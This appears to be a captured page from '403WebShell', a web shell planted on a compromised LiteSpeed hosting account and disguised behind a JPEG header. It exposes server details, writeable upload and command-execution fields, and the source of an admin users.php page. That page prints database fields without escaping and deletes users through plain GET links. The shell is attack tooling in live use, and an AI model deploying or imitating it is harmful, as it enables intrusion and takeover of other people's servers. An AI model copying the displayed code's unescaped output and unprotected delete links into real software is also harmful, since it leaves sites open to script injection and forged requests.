����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 18.216.167.229
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/learn.skilltainment.org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/learn.skilltainment.org/users.php
<?php
include './sidebar.php';
include './navbar.php';
?>

<div class="container-fluid pt-4 px-4">
    <div class="row g-2">
        <div class="col-12">
            <div class="bg-secondary rounded h-100 p-4">
                <div class="table-responsive">
                    <table class="table playlist">
                        <thead>
                            <tr>
                                <th scope="col"></th>
                                <th scope="col">Name</th>
                                <th scope="col">Email</th>
                                <th scope="col">Type</th>
                                <th scope="col">Change</th>
                                <th scope="col">Remove</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php
                            $count=1;
                            $query = "SELECT * FROM `users` ORDER BY `uid` DESC";
                            $run = mysqli_query($conn, $query) or die(mysqli_error($conn));
                            while ($row = mysqli_fetch_array($run)) {
                                if ($row['uid'] == $user) {
                                    continue;
                                } else {
                                    ?>
                                    <tr>
                                        <td><?php echo $count;?></td>
                                        <td><?php echo $row['firstname'] . ' ' . $row['surname']; ?></td>
                                        <td><?php echo $row['email']; ?></td>
                                        <td><?php if ($row['type'] == 1) {
                                                echo "Admin";
                                            } else {
                                                echo "General";
                                            } ?>
                                        </td>
                                        <td>
                                            <?php
                                            if($row['type']==0){
                                                ?>
                                                <a href="change-type.php?id=<?php echo $row['uid'].'&type='.$row['type']; ?>" class="btn btn-success"><i class="fa fa-user"></i></a>
                                                <?php
                                            } else {
                                                ?>
                                                <a href="change-type.php?id=<?php echo $row['uid'].'&type='.$row['type']; ?>" class="btn btn-warning"><i class="fa fa-crown"></i></a>
                                                <?php
                                            }
                                            ?>
                                        </td>
                                        <td><a href="user-delete.php?id=<?php echo $row['uid']; ?>" onclick="return confirm('Confirm To Delete <?php echo $row['firstname'] . ' ' . $row['surname']; ?>?')" class="btn btn-danger"><i class="fa fa-trash"></i></a></td>
                                    </tr>
                                 <?php
                                 ++$count;
                                }
                            }
                            ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>
</div>

<script>
    document.querySelector("title").innerText = "Users";
    document.querySelectorAll(".navbar-nav a")[3].classList.add("active");
</script>
<?php
include './footer.php';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit